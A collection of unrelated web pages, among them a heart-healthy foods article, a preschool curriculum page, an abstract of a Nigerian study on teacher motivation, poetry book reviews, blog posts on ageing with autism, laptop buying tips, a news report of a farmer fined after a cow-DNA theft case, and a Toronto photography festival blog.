Cholesterol moves through your blood on special proteins called lipoproteins. High-density lipoprotein (HDL) is a helpful lipoprotein that mops up cholesterol in your blood and brings it back to your liver, where it can be flushed from your body.
That’s why HDL is often called “good” cholesterol: Having a lot of it can promote healthier cholesterol levels and help protect your heart. (Low-density lipoprotein, or LDL, doesn’t do this — it just builds up in your blood, leading to high blood cholesterol.)
How exactly can you get more HDL? Eating the right foods and limiting your saturated fat intake can help lower your levels of LDL. That can improve your overall ratio of HDL to LDL and reduce your risk for heart problems.
A simple blood test can tell you what your cholesterol levels are and whether you need to make changes to the way you’re eating. (The American Heart Association recommends all adults get their cholesterol checked every 4 to 6 years.)
Healthy HDL levels are between 40 and 60 mg/dL, but if you want to be a heart health superstar, aim to get your number over 60.
What does a cholesterol-friendly diet look like? One key to improving your HDL-to-LDL ratio is limiting your intake of unhealthy fats, like saturated and trans fats. But eating the right foods can help too.
Here are 15 foods worth adding to your menu.
Oats are loaded with soluble fiber, which can help keep bad cholesterol from being absorbed into your bloodstream. Even better? Some of that soluble fiber comes in the form of beta glucan, a type of fiber tied to lower LDL cholesterol.
Getting 3 grams of beta glucan daily has been shown to improve heart health — and you can get about half that amount from 3/4 cup of dry oats.
Beans and legumes
Lentils and black beans and chickpeas — oh, my! Beans and legumes are another great source of cholesterol-friendly soluble fiber.
In fact, a review of 26 studies found that eating just 1/2 cup daily could help lower LDL cholesterol by an average of 6.6 mg/dL, improving your LDL-to-HDL ratio.
Consider using it as your go-to for cooking. Olive oil is packed with heart-healthy monounsaturated fats.
Research has shown that a Mediterranean-style diet rich in olive oil can boost important HDL cholesterol functions like sweeping excess cholesterol out of the heart’s blood vessels, keeping them open.
An apple a day… you know the rest. But hey, it just might be true! The crunchy fruit is a top source of pectin, which can lower LDL cholesterol to improve your LDL-to-HDL ratio.
Apples are also loaded with polyphenols. And according to a 2013 study, those polyphenols could help keep your arteries from becoming clogged or inflamed by stopping LDL cholesterol from oxidizing.
Fish like salmon, tuna, mackerel, and herring are brimming with omega-3 fatty acids. These fats don’t directly raise HDL, but they can help lower your triglycerides, a type of unhealthy fat in your blood.
They improve your heart health in other ways, too, like lowering blood pressure and reducing the risk for dangerous blood clots.
The fruit serves up plenty of monounsaturated fats and fiber, both of which are key for keeping your cholesterol levels healthy.
One study found that adults with higher body weights who ate an avocado each day lowered their LDL cholesterol levels more than those who skipped the creamy green fruit. More guac, anyone?
Strawberries, blueberries, raspberries, blackberries, and cranberries are chock-full of antioxidant compounds like anthocyanins, phenolic acids, stilbenes, tannins, and carotenoids, which are linked to lower inflammation and healthier cholesterol levels.
Nuts like walnuts are a good source of polyunsaturated fats — heart-healthy fats that play a key role in improving your total cholesterol ratio. And if you’re not a fan of fish, good news: Walnuts offer omega-3 fatty acids too.
Help yourself to two or three handfuls a day — according to a 2010 review of 25 studies, eating that amount could help lower your LDL cholesterol by as much as 10 points.
Like avocado and olive oil, almonds (and other nuts) are a good source of heart-healthy monounsaturated fats that can improve your total cholesterol ratio.
They’re also high in phytosterols, plant compounds that are structurally similar to cholesterol and help block cholesterol from being absorbed in your gut.
You’ll reap the same benefits whether you nosh on whole almonds or almond butter.
The chewy whole grain is another great way to get your fill of beta glucan, the soluble fiber that can lower your LDL cholesterol.
Try it as an alternative to oats for a hearty breakfast porridge, throw it into a salad, or use it to give extra body to bean and veggie soups.
These juicy little fruits pack a one-two punch for heart health. They contain antioxidant compounds and the heart-healthy fiber pectin, which help bring HDL cholesterol up and LDL cholesterol down.
Cocoa and dark chocolate
How? It seems that both foods help prevent LDL cholesterol from oxidizing, which can up the risk for heart disease.
The key to reaping the benefits is enjoying cocoa and dark chocolate in a healthy context.
Instead of guzzling a sugary hot chocolate with whipped cream, stir cocoa powder into your morning oatmeal or yogurt. If opting for dark chocolate, make sure the cocoa content is at least 75 percent and stick to a 1-ounce portion.
According to a recent review of 46 studies, eating about 25 grams of soy protein per day can lower LDL cholesterol levels by 3 to 4 percent.
Just remember that not all soy foods are created equal. You’ll do the most good for your heart by choosing minimally processed soy products — choose tofu, tempeh, or miso over packaged soy burgers or deli slices.
Love sipping soy milk? Steer clear of added sugar by choosing one that’s unsweetened.
You already knew kale was a superfood, but here’s one more reason it’s worth adding to your shopping list: Dark leafies can bind to bile acids, which could help your body flush out more bad cholesterol (and get your HDL-to-LDL ratio in a healthier place).
This benefit might come from lutein, an antioxidant that’s been shown to prevent cholesterol from sticking to artery walls.
It’s loaded with catechins, a family of antioxidants that have been shown to reduce LDL cholesterol and overall cholesterol concentration.
And the more you drink, the greater the benefits seem to be. A large, long-term study found that adults who sipped five cups of green tea daily were 26 percent less likely than non-tea drinkers to die of a heart attack or stroke.
For more information about natural cholesterol supplements that Boost Your Good Cholesterol, please visit our Cholesterol Products page. | <urn:uuid:92af9969-694b-49b6-9ad3-1c9850fc5d8b> | CC-MAIN-2022-33 | https://newhealthcorp.com/15-heart-healthy-foods-to-boost-your-good-cholesterol/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.916231 | 1,758 | 2.21875 | 2 |
Creates a surface from two, three, or four selected curves.
the curves, and press Enter
You can use surface edges as the curves for a new surface.
For a surface from closed planar curves, use the PlanarSrf
Changing the input objects changes the output objects.
Surface > Surface from 2, 3 or 4 Edge Curves
Surface > Edge Curves | <urn:uuid:e8c60e62-48ec-4337-a206-1f77de68d733> | CC-MAIN-2022-33 | http://rhinoceros.helpmax.net/en/surfaces/from-edge-curves/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.719153 | 115 | 2.15625 | 2 |
Your Child Meets
A Dedicated Specialist Builds
The Perfect An In-House Curriculum
Your Child Meets
A Dedicated Specialist Builds The Perfect An In-House Curriculum
Preschool & Child Care Center Serving Munster, IN
A Curriculum Specialist Steers Your Child’s Learning
A curriculum specialist oversees programming to ensure that your child achieves all their age-appropriate learning milestones. They work closely with you and their teachers to deliver high-quality play-based instruction that prepares children for academic success.
Sensory Play & Language Development For Your Baby
Babies learn from observing and interacting with the world around them. Your baby’s teachers use stories, songs, sensory toys and materials, and conversation to foster language development and develop crucial cognitive connections and motor skills.
Skills Blossom With Sensory Exploration For Your Toddler
You see your child’s early critical thinking skills and vocabulary grow by leaps and bounds when they learn through sensory play and active discovery, plus stories, songs, and guided pre-literacy and pre-math lessons every day.
Guaranteed Literacy & Kindergarten Readiness For Your Preschooler
Social-Emotional Support For Every Stage Of Growth
Your child’s teachers offer them a safe space to express themselves and use Love and Logic©, Non-Violent Communication™, and redirection techniques to model appropriate classroom behaviors and manners, mutual respect and empathy, and self-advocacy for confidence and independence.
Enrichments Boost Communication, Creativity & Technology Skills
Infants and toddlers benefit from Spanish, music, and baby sign language enrichments that kickstart their expressive language and communication skills. Preschoolers participate in robotics and programming to give them a jumpstart on the practical applications of technology.
Your Child Explores New Skills Via Additional Enrichments
For a small cost per activity, your child can participate in gymnastics, karate, and soccer lessons. They discover new talents and interests, improve their motor skills, and reap the rewards of physical exercise and mental discipline. | <urn:uuid:36a7aea7-f2fa-4782-b492-6ed663e28fe9> | CC-MAIN-2022-33 | https://wonderyearslearning.com/curriculum/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.882822 | 463 | 2.078125 | 2 |
The study examines the relationship between motivation and teacher’s job performance in Alimosho Local Government Area. The study was guided by four research questions and four hypotheses. Relevant literature on the variables of the study were reviewed. A descriptive research design was adopted for the study. The sample comprises 100 public primary school teachers in Alimosho Local Government Area. A researcher constructed instrument tagged “Motivation and Teachers job performance” questionnaire was used for data collection. Data obtained was analyzed using Pearson Product Moment Correlation Co-efficient to test the stated hypotheses at 0.05 level of significance. The findings showed that motivation is an important role for teachers because it helps to achieve the target in an efficient way. Therefore, teacher motivation is very important because it improves the skills and knowledge of teachers because it directly influences the performance. Motivation is an input to work and job performance is an output from this motivation.
1.1 BACKGROUND TO THE STUDY
Motivation is of enormous importance with regard to enhancing performance and commitment in any organization. Motivation and performance are very important factors in terms of organization success and achievements. Motivation plays an important role in terms of organization because it increase the productivity of employees and the goals can be achieved in an efficient way. The behavior of employees can be change through motivation in any organization. From situation to situation, the level of motivation differs within an individual (Robbins, Judge, and Sanghi, 2005). Motivation also takes part in an important role of teachers because in helps to achieve the target in an efficient way. Teacher motivation is very important because it directly influences their performance (Mustafa, and Othman, 2010). The level of motivation and satisfaction of the teachers has appositive effect on their job. The source of the high motivation of the teachers includes opportunities to use special abilities, secure future and the chance to earn good money. if in schools, teachers do not have sufficient motivation then they are less competent which directly influence the students and the education system.
The relevance of motivation and job performance are very crucial to the long- term growth of any educational system around the world. They probably rank alongside professional knowledge and skills, centre competencies, educational resources and strategies as the veritable determinants of educational success and performance. Professional knowledge, skills and centre competencies occur when one feels effective in one’s behavior. In other words, professional knowledge, skills and competencies can be seen when one is taking on and mastering challenging tasks directed at education success and performance (Filak & Sheldon, 2003). The above factors are closely similar to efficacy, and of course, it is well known that many teachers lose or fail to develop self-efficacy within educational settings (Dweck, 1999). In addition, needs satisfaction and motivation to work are very essential in the lives of teachers because they form the fundamental reason for working in life. While almost every teacher works in order to satisfy his or her needs in life, he or she constantly agitates for need satisfaction. Job satisfaction in this context is the ability of the teaching job to meet teachers’ needs and improve their job or teaching performance.
In recent years references have been appearing in literature regarding series of motivational practices that are dubbed on high performance, high commitment or innovation and are said to help institutions to achieve significant improvements in performance. The aim of motivation is to exert high commitment among teachers to improve in performance. For institution such as teaching service commission to increase performance, it should have highly committed teachers with right attitude toward work (Bame, 1975). Globally, employers are not just interested in people turning up for work, it is their performance at work that the employer pays wages and salaries for because the effort that employees put in their work will obviously affect the level of quality output they attain, an effort is related to the motivation of employees (Bame, 1975). Teachers occupy such a central and vital position in any educational system that their attitudes and commitment have been of paramount interest not only to education authorities and other stakeholders but also to many researchers (Mensah, 2009).
Teachers are needed in developing countries such as Nigeria, but due to poor and unattractive remuneration some professional teachers have left the classrooms to seek for greener pastures elsewhere. However, it is assumed that teachers’ agitations and demands are beyond the resources of the ministry of Education or the government. As a result, the government in Nigeria and the Nigerian Union of Teachers (NUT) are in a constant stand-off over the increase in salaries, benefits, and improvements in working conditions of teachers. The federal and state governments have argued that the present economic realities in the country cannot sustain the demanded increase in salaries, benefits, and improvements in working conditions. Specifically, they argue that teachers’ demands are beyond the government resources.
Another problem is the government’s position concerning the job performance of the teachers; they accuse the teachers of negligence, laziness, purposeful lethargy, and lack of dedication and zeal top work. They further argue that teachers’ level of efficiency and effectiveness does not necessitate the constant request for salary increase, incentives and better working conditions. While teachers on their part argue that the existing salary structure, better motivation and enhanced working conditions. They feel Nigeria’s economy is not properly balanced, hence, their demands.
Teachers are expected to render a very high job performance, and the Ministry of Education is always curious regarding the job performance of its teachers. Also, the Ministry of Education demands a very high measure of loyalty, patriotism, dedication, hard work and commitment from its teachers (Ubom & Joshua, 2004). Similarly, the roles and contexts of educations’ motivational methods and tools cannot be underemphasized because high motivation enhances productivity which is naturally in the interests of all educational systems (Ololube 2005).
1.2 STATEMENT OF THE PROBLEM
Teachers in Nigeria have expressed a lot of dissatisfaction about the lack of human resource development, poor working conditions, poor remuneration and poor human relations that exist in schools. This has resulted in high teacher turnover coupled with poor results in senior high schools due to lack of commitment towards work. Some newly recruited teachers stay at post for barely one year. The operating conditions of service appear to fall short teachers expectation manifesting in resignations, vacation of post, non-resumption at post after teachers leave of absence and study leave.
The general mood of those remaining is not encouraging as they exhibit other forms of withdrawal behavior such as absenteeism, lateness and passive job behavior. Unfortunately, in spite of the importance and complexity of these issues, there is very limited good quality literature has been published on them (Bennel 2004). This research focus on the above mentioned factors. The researcher set out to throw more light on factors influencing teacher commitment to teaching so that management of education institutions can do something to motivates teachers to improve their level of performance.
1.3 PURPOSE OF THE STUDY
The purpose of this study is to find out how ‘Motivation’ influences performance of primary school teachers in Katcha Local Government Area of Niger State.
Specifically, the study intends to investigate:
1. The factors determining teaching job satisfaction.
2. Teacher job satisfaction translate into learning outcomes
3. The cost efficient measures suggested in order to simultaneously increase both teachers job satisfaction and education quality.
4. The relationship between motivation and job performance of primary school teachers.
5. Strategies used to improve the job performance of teachers.
6. The extent does the motivation programmes influences teaching performance.
1.4 SIGNIFICANCE OF THE STUDY
The study addressed the issue of teacher motivation as essential factor for classroom effectiveness and school improvement, teacher motivation has to do work teacher desire to participate in the education process.
Considering the importance attached to teachers motivation globally and in Nigeria Particulars the finding of this study will serve as one of the intellectual or academic contribution to the studies of teacher motivation in Katcha local government area of Niger State.
In addition, the study will be of great benefit to the state government to further improve teacher’s motivation apparatus in the state. The finding of this research will enable the government at national, state or local government levels appreciate the relevance of teacher’s motivation in teaching and learning process effectively.
The importance of this study will provide students wide useful suggestions that might help them improve primary school in Nigeria.
Finally the findings of this research will assist policy-makers in designing a policy document that could guide administrative behavior in Nigeria in the design of the strategies and implementation of teacher’s motivational scheme.
1.5 RESEARCH QUESTIONS
The research has adopted the follow with research question to guide the study.
1. Does motivation of teacher affect their moral to perform?
2. How does motivation increase teacher’s performance in a school?
3. To what extent those intrinsic motivation increased teacher’s moral to perform
4. How motivation does relates wide job performance of primary school teachers.
5. What are the motivational factors that best ensures teachers job performance?
1.6 SCOPE OF THE STUDY
This is examining how motivation influence teachers job in Katcha local government area of Niger State for depth treatment however and in order to be more focused, Katcha local government is chosen for empirical studies.
This case study approach is necessary here in order to keep the work within a manageable level of discussion ever, this work is not without constraint, financial constraint and time limit would not permit the researcher to go beyond selected schools in Niger State.
Taidi, P. (2022). A RESEARCH ON THE INFLUENCE OF MOTIVATION ON PRIMARY SCHOOL TEACHERS JOB PERFORMANCE IN PRIMARY SCHOOLS. Afribary. Retrieved from https://afribary.com/works/a-research-on-the-influence-of-motivation-on-primary-school-teachers-job-performance-in-primary-schools
Taidi, Paul "A RESEARCH ON THE INFLUENCE OF MOTIVATION ON PRIMARY SCHOOL TEACHERS JOB PERFORMANCE IN PRIMARY SCHOOLS" Afribary. Afribary, 03 Aug. 2022, https://afribary.com/works/a-research-on-the-influence-of-motivation-on-primary-school-teachers-job-performance-in-primary-schools. Accessed 07 Aug. 2022.
Taidi, Paul . "A RESEARCH ON THE INFLUENCE OF MOTIVATION ON PRIMARY SCHOOL TEACHERS JOB PERFORMANCE IN PRIMARY SCHOOLS". Afribary, Afribary, 03 Aug. 2022. Web. 07 Aug. 2022. < https://afribary.com/works/a-research-on-the-influence-of-motivation-on-primary-school-teachers-job-performance-in-primary-schools >.
Taidi, Paul . "A RESEARCH ON THE INFLUENCE OF MOTIVATION ON PRIMARY SCHOOL TEACHERS JOB PERFORMANCE IN PRIMARY SCHOOLS" Afribary (2022). Accessed August 07, 2022. https://afribary.com/works/a-research-on-the-influence-of-motivation-on-primary-school-teachers-job-performance-in-primary-schools | <urn:uuid:a926b84c-3777-43db-b172-b76d18459d15> | CC-MAIN-2022-33 | https://afribary.com/works/a-research-on-the-influence-of-motivation-on-primary-school-teachers-job-performance-in-primary-schools | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.939232 | 2,399 | 2.65625 | 3 |
Here are two recent poetry collections from Macmillan Children’s Books – thanks to the publishers for sending them for review
A Poem for Every Spring Day
ed. Allie Esiri
This is the third in the seasonal series – almost every one of which is taken from Allie Esiri’s A Poem for Every Day of the Year and A Poem for Every Night of the Year and once again it’s brimming over with poetry to lift your spirits.
Among the offerings herein you’ll certainly find many old favourites – lots took me right back to my days in primary school and even before that when my dad read A.A. Milne and Lewis Carroll aloud to me, as well as unearthing some new treasures.
As with the Autumn and Winter books, there are two poems for each day from 1st March through to the end of May and again Allie provides an introductory paragraph for each of her selections. Most of us associate spring with new life and yes, there are plenty of entries reflecting that aspect of the season but it’s more than just longer days, birdsong and buds opening and A Poem for Every Spring Day reflects this. There are poems commemorating specific occasions such as Rachel Rooney’s First Word (After Helen Keller) where she writes of Helen feeling water flowing from a pump with one hand while the letters for ‘water’ were spelt on her other palm. That moment took place on April 5th.
Another one that is hugely moving and also new to me is Duranka Perera’s Bitter State. The poet is also a doctor living in the UK and native of Sri Lanka where horrendous terrorist attacks took place on 30th March. It begins thus: ‘I was angry when it happened. / I was angry when the numbers continued to rise. / I was angry when bitter tongues lashed old wounds. / I was angry when a dying monument drew more /money than / The dying themselves.’
From John Agard to William Wordsworth, whatever your taste in poetry, there will be plenty to savour in this collection.
The Best Ever Book of Funny Poems
chosen by Brian Moses
Poet Brian Moses has chosen an assortment of splendidly silly poems for this compilation of over a hundred giggle inducers.
The selection has ten sections, each named with a line from or title of, one of the poems included. Thus for example we have ‘The red ear blows its nose’ from Robert Schechter’s What’s Mine for the first – Silly and Even Sillier Poems.
The teacher part of me wanted to turn next to the Headmaster’s Welcome where among the thirteen I totally loved Brian’s own The School Goalie’s Reasons …
The writer/reviewer part of me just had to turn next to the Fantasy and Fairy Tales offerings where there are some terrific four liners including Rachel Rooney’s Epitaph for Humpty Dumpty: ‘ Beneath this wall there lies the shell / Of someone who had talents. / But (as you can probably tell) / One of them wasn’t balance.’ What a great starting point for a bit of epitaph writing in the classroom using a nursery rhyme theme. On the subject of the classroom, in the Funny Poems About Poems section is Joshua Seigal’s terrific I Don’t Like Poetry that offers a smashing lesson on similes, metaphors, alliteration, onomatopoeia and repetition. An invitation to youngsters to play around with words for sure.
Should your taste be more for pets, dinosaurs, family, space or things spooky, never fear: you’ll find all these covered too.
We all need something to cheer us up at the moment so why not start with this collection: it will long outlast the current pandemic however. | <urn:uuid:7c846c09-c284-404a-b520-8b910c453968> | CC-MAIN-2022-33 | https://redreadinghub.blog/tag/a-poem-for-every-spring-day/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.950195 | 821 | 1.96875 | 2 |
Number of studies growing
Well, sort of……….
Start by reading the article here. Since 2012 the number of studies about autism has grown. We are being studied and understood, but pay close attention to what is said here and look at the numbers !!!
Although extrapolation of USA Census and CDC information says there are over 5,500,000
adults in the USA with autism today, only a very small percentage of us have found professional diagnosis.
There is no idea or way to know about numbers of those of us who have found our own diagnosis and know of our autism without professional guidance. This number is growing as adult autistc individuals share information, post blogs, begin support groups and forums or internet pages with information.
The growth of information about adult autism seems to be in our hands because nobody else ( medical and support community, including researchers) is paying attention to this issue. If I was an autism professional I would think the sheer numbers of older autistic adults would be enough to persuade me to open investigations.
If there are needs being met and mined for profit in the younger generations, there are definitely financial prospects in finding ways to best serve adult autistic individuals as we age into the times when we need more specialized care that almost 75 percent of senior adults need.
The very few studies done to date show us that autistic individuals have more health care and housing and support needs than the average individual as we age.
There is very little interest in helping older adults gain diagnosis and support into older adulthood ( I use 50 and over as a “cutoff” age for referring to adults as “elders”).
The idea of using a new name to gain attention as a “tag” for this group of autistic adults is convincing and important.
A key word or words might help us find more information when we are mentioned in studies and articles.
Here is the catch. There is not more information to be had. Studies and articles must be produced and they simply do not exist in any number.
Very few significant studies have been done regarding autism and the elderly.
Very few are being produced today. It is mostly blogs like this, and online groups which are growing.
Information is being shared by autistic individuals for the benefit of other autistic individuals because it is not readily available in any other way.
Note the authors of this article proposed the word “gerontautism”.
Feedback from the community must not have been great because the proposed key word has been eliminated from the article.
This is going to be debated in the community as the idea is spread, and there will be many proposed key names or tags.
Many already use the phrase “autistic elders”. or “older autistics”.
The name for us as a group is less important than the discovery in this study that only .4% of today’s studies about autism have anything to do at all with ageing autistic adults.
Its not just the way we self describe, but more importantly that there seems to be such little interest in how this huge population of older adults is faring, will do in the immediate future and learning how society must change or grow in services and skills to support this population.
How will we prepare for our most difficult years and how will we accommodate and help our autism as we experience not only old age and all its disabilities and physical failings, but also our autism and the special and individual sensory struggles we must confront daily. ???
How will society train caretakers, provide housing and other care when we are no longer able to care for ourselves?
How will we train medical and support teams, how will we know what the needs of the autistic and ageing population are?
This is a plea to researchers to begin to ask tough questions about what happens when those with autism grow up? There are millions of autistic adults who are hitting the “elderly” mark of age 65 within the next few years. All of the baby boom generation will be over 65 by the year 2030.
More studies are being done now on young adults, but there is very little recognition that autism existed long before 1980 when the very first autism diagnoses were being done.
This is yet another call for professionals to become involved in research.
Time is getting short, there is much need.
Things that are on my mind lately: ” aha moments”
Things are kind of quiet and sad at our house. Our good old dog is ageing and it won’t be long before we have to make a painful decision. I am getting up very frequently to let her out at night and sleep is scarce lately. I am very very tired. This will be our last dog. Our cat too is elderly and has a chronic sickness, also not doing well. We have decided it would be unfair to bring a new animal into our lives at our old age and risk leaving an unwanted pet behind if we might pass on before it does. Risks of falls and all the chores of caretaking another animal might be too much as we continue to age. Animals have always been a very big part of my life, so my mind is working on this sad transition even as I expect it is coming soon.
So these circumstances got me thinking about my own ageing process. I am 70. Women in my autistic mother’s family tend to get dementia by age 80, although their bodies have gone on much longer. I feel as if my time is running out and there is a certain sense of urgency to almost everything I write or post these days.
Random thought two days ago. I am still sorting the past and gaining “aha” moments of insight, still putting past upsets, pains and struggles, humiliations, failures, etc to rest.
My mental filing system is working well and after maybe a couple of repeats even the worst memories agree to go to the “finished business” file where I send them and don’t seem to appear.
But with those issues settled, my brain keeps bringing new experiences from the past up for examination. I am rarely truly troubled by these memories as I have alread re lived and painfully examined them over time all these years, and can readily assign them to the files as soon as I recognize they too are “finished business”.
It crossed my mind that I have known about my autism for about 6 years, had diagnosis 2 1/2 years ago in Sept of 2022. I suddenly realized that I will probably be sifting, examining and sorting the past for the rest of my life.
I have loads of difficult memories in the memory bank to work through.
I wonder if I had obtained diagnosis earlier , would this still be the case?
I am willing to do the emotional homework, it is still interesting to understand those old traumas through the new lens of my autism.
I am randomly struck again by how truly impaired my sensory processing struggles and my neurology are. I have been so interested to follow random studies and look for blogs, books, articles on pages about autism, and to follow groups online which support older autistic adults and those of us who are just learning about autism and suspecting we may be autistic .
I made a comment in one forum about some books and links that had been helpful to me, and immediately after my comment, another participant listed many many websites and youtube, twitter, and other very recent media which all involve video and visual presentations.
I realized that I have missed out on many, many sources of input because I simply can not process video content (movies, videos, moving pictures or images of any sort or real life interactions/lectures, podcasts, etc) in “real time”. I was stunned with a huge feeling of loss for my inability to participate in those things.
I have long ago accepted my limitations, so the feeling did not last long, but the infrequent self insight is always an unpleasant surprise and involves for that short time a painful feeling of loss. I know everybody experiences these feelings off and on. It just tends to be something of a surprise. Like other “aha” moments it is a sudden unexpected insight sneaking up on me.
Like the disturbing memories I must file in my “finished business” mental file, and like the sudden insight into how impaired I actually am in one way or another, I suspect that I will also have other “aha” moments for the rest of my life.
I welcome most of those insights.
I have 68 years of not knowing about my autism to sort and understand. I have far less time on earth than that to continue to work to sort it all out. I truly consider myself a “work in progress” even at this late stage of life.
the getting older side of being autistic
My father used to quip about getting older “it beats the alternative”. Yes indeed, that is true.
Day to day struggles as we age make life harder for all of us.
Autistic people who are already struggling with life and how to get through it successfully may have more difficulty than whatever is “typical”. Nobody escapes it, everybody gets older unless they have achieved the alternative (death).
Health issues and simply living longer are extra difficult when autism is in the mix.
We are often less aware we are having physical problems due to autistic proprioception/ interoception difficulties.
Some of us simply don’t notice that “something is wrong” until it is discovered by somebody else and pointed out.
Some of us are afraid of going to the doctor, the clinic, the emergency room, some of us need a lot of support to do self care such as taking regular meds, getting regular checkups, “tune ups” and follow ups .
Many autistic people have hard times sticking to special diets, shopping for special foods or aids to help us be safer, being aware of safety, keeping ourselves and our surroundings clean and healthy, etc etc etc.
I am aware that those who have “normal” neurology may struggle with these things too, but I also wonder how many elderly with those listed problems might also be undiagnosed autistic?
We may be more prone to falls, to have more health issues, to get less care if studies of the past are correct. Overall, many autistic adults do not live to become old. Average age at death for “normal” adults is 70, average age at death for autistic individuals is 54 .
I guess I don’t have to emphasize self care and attention to safety as we age. We know we will all have more struggles as we get older.
Why not consider what things we can do at present to prepare for better self care as life gets harder.
Put safety precautions and self care at the top of the “TO DO” list today. | <urn:uuid:91aeed96-b609-4215-ba2e-8de2490d31e8> | CC-MAIN-2022-33 | https://oldladywithautism.blog/tag/autistic-ageing/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.968885 | 2,279 | 2.015625 | 2 |
There was a time when buying a laptop was simple; those days are gone as features are introduced at a breakneck pace. However, you need to understand what to purchase. This article was written to help you figure out what features are important on your new laptop.
Always look for coupons online before purchasing a laptop. You might not find any, but it doesn’t hurt to look. It really stings to pay full price for a laptop only to realize you could have paid less.
Consider making your laptop purchase online. Generally, you can find better deals online than at brick and mortar stores. Sometimes, you can even find promo codes to save you even more money. Look online to see if making your purchase over the Internet can save you money.
Check how upgradable your RAM will be on a laptop you like, before you buy it. It may not seem like you will need additional space or memory but it may be important in the future. Upgrading would be more economical than purchasing a new machine, then. Think it through before you make a commitment to purchasing it.
Never neglect battery life when laptop shopping. It can get really annoying if your battery dies on you all the time. If you’re going to be at home mostly, try to look for a laptop that will last around four hours before it needs to be charge. If you plan on using your laptop a lot while you’re out of your home, try to find one that will last at least five hours.
Remember the advice you now know in order for you to make the best laptop purchasing decision. Consider what makes for a good laptop and compare that to what you need. Regardless of your position in life, a good laptop is essential. | <urn:uuid:85635677-f8ef-4df1-bdd1-24090abf1d01> | CC-MAIN-2022-33 | http://www.hackgnu.org/elementary-knowledge-in-regards-to-laptops-youll-love-2/80 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.963708 | 355 | 1.867188 | 2 |
A farmer has been ordered to pay more than £4,000 for stealing a cow after animal DNA tests proved he was not the rightful owner.
It was the first time that police in the UK have used DNA in this way in a criminal court case to prove that an animal had been stolen.
Dyfed-Powys Police force used DNA from the £3,000 heifer which had its identity tag replaced by neighbouring farmer David Aeron Owens after it escaped from its own field.
Blood samples were compared against cows on the victim’s farm to prove a familial link and secure a conviction.
Owens, 51, had claimed it as his own after it escaped from a neighbouring field in St Clears, Carmarthenshire, reports BirminghamLive.
Dyfed-Powys Police confirmed it has become the first police force in the UK to use DNA evidence from a stolen cow in a resulting criminal court case at Swansea Crown Court on Monday, which saw Owens plead guilty to theft.
The cow's real owner reported one of his 300 cows had been stolen in December 2017 after spotting it on Owens's field, despite the farmer denying he had seen it.
Owens provided police with a cow passport, listing ear tag numbers for the cow and the animal Mr Owens claimed was its mother.
A warrant was issued for the cow and blood samples taken from it were successfully matched with other cows from its original farm, and Owens was charged.
During the investigation, Owens started proceedings against the police over the way blood samples were taken from the cow without his permission, but a judicial review found the force was lawful in doing so.
PC Gareth Jones, the officer who took charge of the case, said his force was "proud" of its achievement and vowed to continue using "innovative methods" to get justice.
He said: "This has been a long and protracted enquiry, and it has taken a lot of work and patience to get to this point.
"Without the use of the heifer's DNA, we would not have been able to prove that it had been stolen by Mr Owens, and that he had tried to alter identification tags to evade prosecution.
"We are proud to be the first force in the UK to use a cow's DNA in a criminal case, and will continue to use innovative methods to get justice for victims."
Owens, of Salem Road, St Clears, was fined £4,000 fine and told to pay £400 costs. | <urn:uuid:df4bbd08-4b82-422f-87e2-c0638c6475a8> | CC-MAIN-2022-33 | https://www.nottinghampost.com/news/uk-world-news/farmer-fined-4000-after-dna-3814899 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.989814 | 520 | 1.648438 | 2 |
***Warning…lost blog post…but how could it NOT BE when you attend the WORLD’S LARGEST photography festival???!!!***
Yep, supposedly CONTACT, is the world’s largest photography festival. Gotta say, how can you argue with 20 exhibitions in major museums and galleries, 17 site specific installations in urban spaces, 40 selected exhibitions in galleries around the city AND 110 exhibitions in venues throughout the community. That’s 187 unique photographic experiences (not including opening parties, receptions, artist talks, panels discussions, etc) to be had during the 2017 Soctiabank CONTACT Photography festival held this past May in Toronto, Ontario. And via Great Meadows Foundation, I was granted the opportunity to travel to Toronto and spend nine days taking in this amazing festival!
The theme of this years CONTACT was recognition of Canada’s 150 anniversary, so the works exhibited were largely by Canadian photographers and largely works about Canadian people, places and things…with an emphasis on the beauty of the Canadian landscape. As this was my first trip to Canada, it was a great way to learn about the country’s history through the evolution of the photographic medium as work spanned from early tintypes, through the Kodachrome era and finally with contemporary interpretations of the digital image.
It was wonderful to see major representation by Canada’s indigenous community and see both the past and present from their perspectives. Like the United States, Canada had a highly contentious colonial history and I was impressed to see so many artists address the subject in thought provoking ways. Dana Claxton (above) questions how histories are represented and for whom by layering found images of middle class Canadian outdoor holidays with beadwork patterns from the Lakota tribe who formally inhabited those landscapes.
One of the most visible trends I witnessed throughout the festival was the use of large-scale images printed onto vinyl. The vinyl adheres to a variety of surfaces and can be installed anywhere from interior gallery walls to natural elements or even sides of buildings. This really interested me as I continue seeking ways to work larger.
One on my key interests of the CONTACT festival was the incorporation of photography as public art. Public art and environmental installations are huge in the world of art these days, but I feel like it is mostly of a sculptural, 3-dimensional nature and I couldn’t wait to see what a photographic festival would showcase. Seeing work on billboards, subway platforms and even positioned onto the large scale rocks as featured in Lori Blondeau’s work, inspired me to think creatively about transforming environments with photographic imagery.
A unique aspect of a Great Meadows Foundation grant is the encouragement for applicants to make connections with professional colleagues in conjunction with their proposal destination. My good friend Paul Paletti of the Louisville Photo Biennial was kind enough to connect me with Bob Carnie, photographer, printer and owner of Alternative Photo Services and Connections Gallery in Toronto.
